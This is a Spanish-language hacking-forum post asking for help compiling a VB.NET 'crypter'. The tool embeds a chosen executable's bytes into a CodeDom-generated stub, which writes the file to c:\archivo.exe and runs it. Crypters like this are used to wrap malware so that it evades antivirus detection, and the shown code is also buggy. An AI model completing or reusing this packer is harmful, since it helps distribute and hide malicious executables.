Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: 70N1 en 17 Octubre 2011, 19:06 pm



Título: Ayuda a compilar con codedom, modulo de clase sacado de codedom crypter
Publicado por: 70N1 en 17 Octubre 2011, 19:06 pm
Hola. esto es lo que tengo en el evento button_click

Código:
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim open = OpenFileDialog1
open.Filter = "Executables *.exe|*.exe"
Dim save = OpenFileDialog1
save.Filter = "Executables *.exe|*.exe"        

open.ShowDialog()
Save.ShowDialog()

        Dim st As System.IO.Stream = System.IO.File.Open(open.FileName, _
   System.IO.FileMode.Open, System.IO.FileAccess.Read)

     Dim br As New System.IO.BinaryReader(st)
     Dim read() As Byte = br.ReadBytes(st.Length)

        br.Close()
        st.Close()

Dim source As String = My.Resources.source  

Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
Dim cadena As String = enc.GetString(read)
        source = source.Replace("%3%", cadena)

        iCompiler.GenerateExecutable(SaveFileDialog1.FileName, source, "")
      
 MsgBox("Crypted!", MsgBoxStyle.Information, "Success!")
        End

    End Sub
End Class



Y este es el modulo que compila y crea el ejecutable. (SACADO DE CODEDOM CRYPTER)

Código:
Imports System.CodeDom.Compiler
Public Class iCompiler
    Public Shared Sub GenerateExecutable(ByVal Output As String, ByVal Source As String, ByVal Icon As String)
        'On Error Resume Next

        Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
        Dim Parameters As New CompilerParameters()
        Dim cResults As CompilerResults

        Parameters.GenerateExecutable = True
        Parameters.OutputAssembly = Output
        Parameters.ReferencedAssemblies.Add("System.dll")
        Parameters.ReferencedAssemblies.Add("System.Data.dll")
        Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")


        Dim Version = New Dictionary(Of String, String)
        Version.Add("CompilerVersion", "v2.0")

        Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"

        If Icon <> "" Then
            IO.File.Copy(Icon, ICO)
            Parameters.CompilerOptions &= " /win32icon:" & ICO
        End If

        cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)

        If cResults.Errors.Count > 0 Then
        ElseIf cResults.Errors.Count = 0 Then

        End If
        If Icon <> "" Then : IO.File.Delete(ICO) : End If
    End Sub
End Class

Y esto es lo que pone en el archivo de recursos txt. (LO QUE QUIERO COMPILAR)


Código:
Imports System, Microsoft.VisualBasic
Module uno
    Sub Main()
        Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
        Dim bytess() As Byte = enc.GetBytes(%3%)


        IO.File.WriteAllBytes("c:\archivo.exe", bytess)
        Call Shell( "c:\archivo.exe")
        End
    End Sub

End Module





No tengo ni idea de por que no me lo compila. alguna sugerencia?